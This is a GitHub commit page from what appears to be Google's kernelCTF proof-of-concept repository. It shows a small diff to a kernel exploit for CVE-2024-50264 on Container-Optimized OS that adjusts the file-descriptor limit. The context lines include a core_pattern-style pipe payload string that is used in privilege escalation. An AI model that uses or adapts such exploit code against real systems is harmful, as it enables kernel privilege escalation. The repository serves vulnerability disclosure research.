fix: change to available rlimit for cos

google · Dec 16, 2024 · c5d5365 · c5d5365
1 parent f6e7503
commit c5d5365
Showing 1 changed file with 7 additions and 3 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/exploit.c
@@ -797,9 +797,13 @@ int main(int argc, void *argv[])
 
 	// PHYS_LO_32 = strtoll(argv[1], NULL, 0);
 	struct rlimit rlim = {
-        .rlim_cur = 0xf000,
-        .rlim_max = 0xf000};
-	setrlimit(RLIMIT_NOFILE, &rlim);
+		.rlim_cur = 4096,
+		.rlim_max = 4096};
+	if(setrlimit(RLIMIT_NOFILE, &rlim) < 0)
+	{
+		perror("setrlimit failed");
+        exit(EXIT_FAILURE);
+    }
 
 	targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
 	strcpy(targetstr, "|/proc/%P/fd/666 %P");